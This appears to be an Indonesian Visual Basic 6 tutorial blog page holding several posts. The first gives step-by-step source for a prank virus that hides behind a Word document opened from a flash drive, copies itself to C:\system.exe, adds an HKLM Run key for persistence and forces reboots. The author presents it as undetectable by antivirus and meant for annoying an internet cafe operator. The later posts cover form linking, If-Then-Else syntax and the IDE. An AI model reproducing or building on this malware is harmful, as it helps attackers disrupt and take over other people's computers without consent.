Baca Selengkapnya . . .
ExitJangan Lupa Klik Like/Suka!
Tampilkan postingan dengan label Visual Basic. Tampilkan semua postingan
Tampilkan postingan dengan label Visual Basic. Tampilkan semua postingan

Minggu, 02 Oktober 2011

Menciptakan Virus Dengan Visual Basic

Tutorial Visual Basic kali ini akan membahas tentang Menciptakan Virus dengan Visual Basic dengan bahasa Pemrograman Visual Basic Sederhana. Ini memang sederhana namun cocok untuk pembelajaran bagi kalian yang belum tahu cara kerja Virus dan Bagaimana cara Menghapus Virus.

Kangen rasanya sudah lama tidak memposting Artikel tentang Visual Basic. Sebenernya ini adalah program buatan teman saya serta artikel panduan yang saya Cari di Mbah Google. Ini adalah hasil karya yang sudah di praktikkan langsung, jadi saya post saja, mungkin lebih berguna buat kalian yang ingin belajar jauh tentang Visual Basic. Sebenarnya ini program yang sudah saya cari-cari buat ngerjain warnet di depan Rumah saya. Buat orang awam memang sedikit "Kepingin Sekali Membuat Nya", soalnya program ini tidak terdeteksi oleh Anti Virus apapun, baik lokal maupun Interlokal.

Sistem kerja program ini sama halnya seperti Program Virus yang biasa kita jumpai. Menyerang bagian registrasi dan melumpuhkan sistem komputer target. Akan tetapi setelah saya lihat bentuk source code program tersebut, dengan menggunakan Koneksi Antar Form, dan penyerangan kedalam registry editor.
Pengaktifan program ini tergolong unik, karena tidak otomatis running ketika dicolokan Flasdisk, melainkan user secara aktif mengkliknya.

Jadi begini pengaktifannya. Dia datang kesebuah warnet tujuannya, untuk mencoba n membuat kesal Operator tersebut. Dia berpura-pura ingin melakukan Print Microsoft  Word yang sudah dia siapkan didalam Flashdisk nyaa. Didalam Flashdisk dia terdapat 2 Microsoft  Word berbeda nama sesuai dengan direktorynya dan compille Program Visual Basic Virus ini. Setelah dia memberikan Flashdisk, dia harus memastikan bahwa Flashdisk dia berada pada direktory apa, entah ada di "G" atau "F", yang pasti Flashdisk direktori tidak akan jauh-jauh pada hal tersebut. Dia akan memilih sebuah Word sesuai dengan direktorinya.  Setelah Program Microsoft  Word aktif, maka si Virus secara Aktif juga masuk dengan pengaktifan program Word yang telah dieksekusi. Setelah selesai dengan Print-print dummy tersebut, dia melepaskan Flashdisk yang menandakan delay waktu aktif virus dimulai. Seusai pergi, Virus aktif, Restart, PC Crash, dan Tampil gambar.

sekian dulu curhatnya.. wkwkwk....Berniat nggak buat Virus nya.?

Berikut ini listing code dan cara pembuatannya hinga sampai kalian membuatnya secara utuh, dan mohon maaf saya tidak akan mengshere berupa downloadannya, takut disalah gunakan soalnya.

1. Buatlah sebuah Progress bar didalam 1 form baru, bernama "antivirus". Didalam form ini kalian sisipkan 1 buah progress bar, untuk memberikan delay waktu pengaktifan program tersebut dan juga 1 buah timer. Tujuan ini dimaksudkan untuk kalian melakukan pengkebalan terhadap program yang telah kalian buat sendiri. Malu donk buat virus tapi tidak bisa mengatasinya. Masukan listing code ini pada timer yang telah kita buat pada form antivirus.

Private Sub Timer1_Timer()
If ProgressBar1.Value = 100 Then
Unload Me
MsgBox "T-Virus was Removed, your system will be reboot", vbInformation, "Congrat"
Shell ("shutdown.exe -r -t 01")
Else

ProgressBar1.Value = Val(ProgressBar1.Value) + Val(1)
End If
End Sub


2. Adapun maksud dari listing ini adalah ketika si progress bar berjalan hingga bernilai "100", maka form tidak akan tampil, sehingga menampilkan pesan seperti ini "T-Virus was Removed, your system will be reboot" yang menandakan program sudah aktif dan secara otomatis dengan menggunakan "Shell" untuk memanggil program bawaan windows yaitu "Shutdown.exe" yang penggunaan program tersebut dilakukan apabila sistem windows sedang mengalami crash atau hang pada pc, akan tetapi kali ini sistem tersebut saya gunakan sebagi bentuk restaran dengan tenggat waktu 1 detik.

* Masukan listing code ini pada Form_load()


Private Sub Form_Load()
Kill "C:\system.exe"

Dim x As Double
x = Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus)

BlockInput False
End Sub


Adapun maksud diatas adalah melakukan pendeletan langsung, atau saya sering katakan adalah serangan langsung terhadap program kita yang nantinya akan bertengger di direktory "C:" dengan nama program kita adalah nantinya "System.exe".
Setelahnya program kita akan secara otomatis masuk kedalam regedit (registry editor) yang mana akan menambakan value pada "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus". Maksud dari "d 0" adalah value penonaktifan pada "DisableTaskMgr". Dan "BlockInput False" untuk pengaktifan keyboard kita.

* Masukan ini terlebih dahulu di bagian atas listing program tadi.


Option Explicit
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long


Selesailah kita membuat anti Virus atas program kita nantinya. Sekarang kita akan berlanjut kepada pembuatan program utama kita, masih minat?okay lanjutkan. Sebernya kita sudah membuat virus itu sendiri tanpa kalian sadari, Berdasarkan anti virus yang telah kalian buat, itulah Program Virus Sederhana nya.
Berikut ini contoh form yang akan kita buat misalkan Flashdisk kita pada direktory "F":

* Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()
Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("F:\T-V\Makalah.doc")
wrd.Activate

Dim mByte() As Byte
Open "F:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub


Maksud diatas adalah seperti yang sudah saya ceritakan, program ini berjalan setelah ms word aktif dimana word yang telah dibuka pada direktory "F:\T-V\Makalah.doc". Program akan secara aktif mengcopy kedalam dir "C:" yang akan membuat secara paksa file bernama "System.exe". Melakukan pengaktifan setelah dia restart dan menyusupkan key pada Regedit untuk auto run start up "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "G":

* Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()
Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("G:\T-V\Makalah.doc")
wrd.Activate

Dim mByte() As Byte
Open "G:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2

Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub


Untuk penjelasannya, sama seperti halnya diatas.

Jika link Menciptakan Virus dengan Visual Basic berguna untuk kalian atau kalian suka dengan postingan ini, berikan komentar dibawah postingan ini sertakan dengan share di facebook kalian dengan men-like nya yooo. Jangan lupa untuk menshare  ilmu kalian ya, karena ilmu yang bermanfaat akan menambah pahala buat kalian sendiri.

Sahabat Blogger sekalian, bagikan Informasi menarik ini dan jangan Lupa menuliskan segores Komentar anda, Karena Blog ini DOFOLLOW. Insya Allah Komentator akan mendapatkan sesuatu yang lebih baik.

Membuat Koneksi Form Visual Basic


Tutorial Visual Basic koneksi antar form adalah membuat pemanggilan antar form yang berbeda dalam satu project yang sama atau Membuat Koneksi Form Visual Basic. Digunakan untuk pembuatan strukuser login, dan masih banyak lainnya.

Tutorial visual basic ini sebenarnya sudah saya jelaskan pada postingan sebelumnya,hanya saja masih ada beberapa pertanyaan dari bloggers dan teman kampus yang membutuhkannya.
Jadi saja saya buat lebih jelasnya lagi, alias re-post. Hehehe ^,..,^

Sebenernya cara ini sangat simple dalam pengoprasiannya, jikalau kalian sudah mengetahui code dibawah ini. Sedikit logika yang harus kalian pahami untuk memahaminya. Adapun cara ini biasa digunakan dalam pembuatan program yang kompleks, dalam artian program besar. Lebih baik kita mempelajari dari dasar sebelum beranjak ke yang lebih lanjut…okay

Nih permasalahan yang mungkin kalian hadapi dalam pembuatan program Visual Basic:

-kalian diberikan pilihan tugas untuk pembuatan sebuah program perpustakaan, program penjualan, program rumah sakit, program hotel, atau mungkin ada program yang lebih kompleks lagi yang saya tidak bisa saya sebutkan semuanya, yang kesemua itu membutuhkan koneksi database dan ketepatan data antar form yang masih dalam satu project. Dimana kriteria program yang pasti dibutuhkan pada saat pemesanan berlangsung,  dapat tercetak sebuah data yang sama antara form1 sebagai form utama dan form2 sebagai wadah dari form1

- setelah kalian tentukan project apa yang akan kalian ambil, selanjutnya kalian akan membuat sebuah data pada form1 yang didalamnya ada sebuah textbox atau label dengan nama textbox1 atau label1 yang didalamnya berisikan sebuah data yang akan dicetak kedalam textbox atau label pada form2

So?ga perlu bingung.. lihat kode dibawah ini
Kalian hanya perlu menuliskan code ini pada form_load pada form2 untuk Pemanggilan Otomatis pada saat program tersebut dirunning.

Form_load()
‘dibawah ini untuk pemanggilan berupa textbox pada form1
Textbox2.text= form1.textbox1.text
‘dibawah ini untuk pemanggilan berupa label pada form1
Label2.caption=form1.label1.caption
End sub


Inti dari pemanggilan diatas adalah setiap form yang akan dipanggil kedalam form(dalam contoh diatas adalah form2) aktif harus menggunakan kode “form1”(Target pemanggilan) yang akan dilanjutkann dengan “.” Untuk memanggil nama bagian/isi yang terdapat form target, selanjutnya ketikan “.” Lagi Setelah nama bagian/isi form untuk pemanggilan type apa yang akan kalian tentukan, entah itu berupa caption, text atau value.

Waaaahhh ga kerasa dah panjang juga yah, semoga penulisan ini membuat kalian mengerti akan hal penkoneksian antar form.
Apabila masih ada yang kurang mengerti atau tidak paham, silahkan tanyakan di bawah postingan ini.
Tutorial visual basic ini menggunakan Microsoft visual basic enterprise edition 6.0

Sahabat Blogger sekalian, bagikan Informasi menarik ini dan jangan Lupa menuliskan segores Komentar anda, Karena Blog ini DOFOLLOW. Insya Allah Komentator akan mendapatkan sesuatu yang lebih baik.

Sabtu, 01 Oktober 2011

Penggunaan If then Else dalam visual basic



If then Else Digunakan sebagai statement kondisi. Sebuah kode/blok kode  akan dijalankan apabila kondisi terpenuhi (true), dan blok kode lainnya akan dijalankan apabila kondisi tidak terpenuhi (false).








Syntax1 :
f condition1 then statment

contoh:
if nilai_angka >=80 then nilai_huruf = "A"


Syntax2 :
If Condition1 then statement end if

contoh:
if nilai_angka >= 80 then
nilai_huruf = "A"
msgbox
"Selamat anda mendapat nilai akhir",_vbinformation, "informasi"
end if


Syntax3 :
if condition1 then statement else statement end if

contoh:
if nilai_angka >=  80  then
nilai_huruf = "A"
msgbox "selamat Anda mendapatkan nilai terbaik",_vbinformation,"informasi"
else
msgbox "Anda harus belajar lebih baik lagi"_vbinformation,"informasi"
end if

Sahabat Blogger sekalian, bagikan Informasi menarik ini dan jangan Lupa menuliskan segores Komentar anda, Karena Blog ini DOFOLLOW. Insya Allah Komentator akan mendapatkan sesuatu yang lebih baik.

Menu Utama Visual Basic 6.0

Bahasa visual basic 6.0 pada dasarnya adalah bahasa yang mudah dimengerti sehingga Pemrograman di dalam Bahasa Visual Basic 6.0 dapat dengan mudah dilakukan. Hal ini lebih mudah lagi setelah hadirnya Microsoft Visual Basic yang dibangun dari IDE (Integrated Development Environment) untuk membuat bahasa yang sederhana dan mudah dalam pembuatan scriptnya (Simple Scripting Language) untuk grapich user interface dalam bentuk Form sedangkan untuk codingnya menggunakan dialek bahasa basic yang dikembangkan dalam sistem operasi Microsoft Windows.


Microsoft Visual Basic 6.0  adalah bahasa pemrograman berbasis Windows yang merupakan Object Oriented Programming (OOP), yaitu pemrograman berorientasi objek, Visual Basic menyediakan objek-objek yang sangat kuat, berguna dan sangat mudah dalam penggunaannya. Pemakaian Visual Basic ditandai dengan kemampuan Visual Basic untuk dapat berinteraksi dengan aplikasi lain di dalam sistem operasi windows dengan komponen ActiveX Control. Dengan komponen ini memungkinkan pengguna untuk memanggil dan menggunakan semua model data yang ada di dalam sistem operasi windows.

 Hal ini juga ditunjang dengan teknik pemrograman di dalam Visual Basic yang mengadopsi dua macam jenis pemrograman yaitu Permrograman Visual dan Object Oriented Programming (OOP). Dalam penggunaan User-interface tidak akan menyadari bahwa di belakangnya berjalan instruksi-instuksi program yang mendukung tampilan dan proses yang dilakukan. Pada pemrograman Visual, pengembangan aplikasi dimulai dengan pembentukan user interface.kemudian mengatur properti dari objek-objek yang digunakan dalam user interface, dan baru dilakukan penulis kode program untuk menangani kejadian-kejadian (event). Tanpa pengembangan aplikasi demikian


Memilih jenis Project.

Sesaat setelah aktif di IDE Visual Basic, maka anda akan dihadapkan kepada suatu pilihan terhadap jenis Project yang ingin anda buat sebagaimana yang ditunjukan oleh Gambar 1.2. Sebagai langkah awal dari proses belajar adalah memilih Project Standard EXE.

Jendela IDE

IDE Visual Basic 6.0 menggunakan model MDI (Multiple Document Interaface). Berikut ini adalah gambar yang menunjukan bagian-bagian dan nama-nama jendela yang dapat tampil pada IDE Visual Basic. Mungkin pada IDE anda hanya ditampilkan sebagian jendela dibandingkan dengan Gambar 1.3 anda tidak perlu terkejut, karena penampilan dari jendela-jendela tersebut dapat diatur dengan perintah pada menu View. Sebagai langkah awal dari proses belajar, tidak semua jendela akan kita gunakan, tetapi hanya beberapa yang penting, sedangkan yang lainnya besifat khusus.


Sebagaimana dengan proses belajar ini, kita akan fokus pada beberapa jendela yang penting terlebih dahulu sehingga konsentrasi tidak menjadi pecah, dan peserta belajar menjadi bingung. Adapun jendela-jendela yang perlu anda perhatikan adalah sebagai berikut :


  • Menu Bar.
Digunakan untuk memilih tugas-tugas tertentu seperti menyimpan project, membuka project, dll.
  • Main Toolbar.
Digunakan untuk melakukan tugas-tugas tertentu dengan cepat atau dengan menubar View kemudian pilih Toolbar
  • Jendela Project.
Jendela ini berisi gambaran dari semua model yang terdapat dalam aplikasi anda. Anda dapat menggunakan icon Toggle Folder untuk menampilkan model model dalam jendela tersebut secara di group atau berurut berdasarkan nama. Anda dapat menggunakan Ctrl+R untuk menampilkan jendela project, ataupun mengunakan icon Project Explorer.
  • Jendela Form Designer.
Jendela ini merupakan tempat anda untuk merancang user interface dari aplikasi anda. Jadi jendela ini menyerupai kanvas bagi seorang pelukis. Cara Membuka View kemudian Form Layout Windows
  • Jendela Toolbox.
Jendela ini berisi komponen-komponen yang dapat anda gunakan untuk mengembangkan user interface. Membuka View kemudian pilih Toolbox atau klik pada menu toolbar
  • Jendela Code.
Merupakan tempat bagi anda untuk menulis koding. Anda dapat menampilkan jendela ini dengan menggunakan komboinasi Shift-F7.
  • Jendela Properties.
Merupakan daftar properti-properti object yang sedang terpilih. Sebagai contohnya anda dapat mengubah warna tulisan(foreground). Anda dapat menggunakan F4 untuk menampilkan jendela properti atau dari menubar View kemudian pilih Property Windows.
  • Jendela Color Palette.
Adalah fasilitas cepat untuk mengubah warna suatu object. Untuk menampilkannya melalui View pada Menubar lalu pilih Color Pallete
  • Jendela Form Layout.
Akan menunjukan bagaimana form bersangkutan ditampilkan ketika runtime. Object Oriented Programming (OOP) pada Microsoft Visual Basic Ada beberapa istilah dan komponen dalam Visual Basic yang digunakan untuk membuat program aplikasi. Komponen–komponen yang akan dibahas ini hanya dasar-dasarnya saja agar dalam pembahasan selanjutnya anda sudah beradaptasi dan memahami penggunaan istilah dan komponen tersebut. 

1. Project.
Project adalah sekumpulan modul atau program aplikasi itu sendiri, project disimpan dalam file berextension .VBP biasanya berisi form-form.

2. Ada tiga icon dalam Project Properties :
    a. View Code: tampilkan jendala editor program
    b. View Object: tampilkan bentuk formulir
    c. Toggle Folders : Tampilkan folder tempat penyimpanan file

Form
Form adalah objek yang dipakai untuk tempat bekerja program apalikasi,

didalamnya tempat diletakan objek-objek lainnya, didalam form ada grid (garis titik-titik yang berguna untuk pengaturan letak). Form disimpan dalam file berextension .FRM



  • Toolbox.
Toolbox kotak alat berisi icon-icon atau komponen untuk memasukan objek tertentu kedalam form.
  • Jendela Toolbox
Merupakan jendela yang sangat penting bagi anda. Dari toolbox ini anda dapat mengambil komponen-komponen (object) yang akan ditanamkan pada form untuk membentuk user interface.Adapun secara garis besar fungsi dari masing-masing intrinsic kontrol tersebut adalah sebagai berikut :
  • Pointer.
Bukan merupakan suatu kontrol, gunakan icon ini ketika anda ingin memilih kontrol yang sudah berada pada form
  • PictureBox.
Adalah kontrol yang digunakan untuk menampilkan image dengan format: BMP, DIB (bitmap), ICO (icon), CUR (Cursor WMF (metafile), ENF (enhanced metafile), GIF dan JPEG.
  • Label.
Adalah kontrol yang digunakan untuk menampilkan teks yangtidak dapat diperbaiki oleh pemakai.
  • ToolBox.
Adalah kontrol yang mengandung string yang dapat diperbaiki oleh pemakai, dapat berupa satu baris tunggal atau banyak baris.
  • Frame.
Adalah kontrol yang digunakan sebagai container bagi kontrol lainnya.
  • Command Button.
Merupakan kontrol hampir ditemukan pada setiap form, dan digunakan untuk membangkitkan event proses tertentu ketika pemakai melakukan klik padanya.
  • CheckBox.
Digunakan untuk pilihan yang isinya bernilai Yes/No atau True/False.
  • OptionButto.
Sering digunakan lebih dari satu sebagai pilihan terhadap beberapa option yang hanya dapat dipilih satu.
  • ListBox.
Mengandung sejumlah item, dan user dapat memilih lebih dari satu (bergantung pada property MultiSelect).
  • ComboBox.
Merupakan kombinasi dari TextBox dan suatu ListBox dimana pemasukan data dapat dilakukan dengan pengetikan maupun pemilihan.
  • HscrollBox dan VscrollBox.
Digunakan untuk membentuk scrollbar berdiri sendiri.
  • Timer.
Digunakan unntuk proses backgound yang diaktifkan berdasarkan interval waktu tertentu dan merupakan kontrol non visual.
  • DriveListBox, DirListBox , FileListBox
Sering digunakan untuk membentuk dialog box yang berkaitan dengan file.
  • Shape dan Line 
Digunakan untuk menampilkan bentuk garis,persegi, bulatan dan Oval.
  • Image.
Berfungsi menyerupai Imagebox, tetapi tidak dapatdigunakan sebagai kontainer bagi kontrol lainnya. Suatu yang perlu diketahui bahwa kontrol image menggunakan resource yang lebih kecil dibandingakan dengan PictureBox
  • Data
Digunakan untuk data binding.
  • OLE.

Dapat digunakan sebagai tempat bagi program eksternal seperti Microsoft Excel, Word dan lain-lain. Sebenarnya masih banyak komponen-komponen yang lain yang tidak dibahas disini, karena komponen vb begitu komplek. Tapi kita bisa menambahkan komponen lainnya dengan cara memilih pada menu Project lalu pilih Components atau CTRL+T. Properties adalah untuk menentukan setting suatu object, menentukan cara kerja dari objek saat proram dijalankan misalnya warna, huruf dan lain-lain. 




Sahabat Blogger sekalian, bagikan Informasi menarik ini dan jangan Lupa menuliskan segores Komentar anda, Karena Blog ini DOFOLLOW. Insya Allah Komentator akan mendapatkan sesuatu yang lebih baik.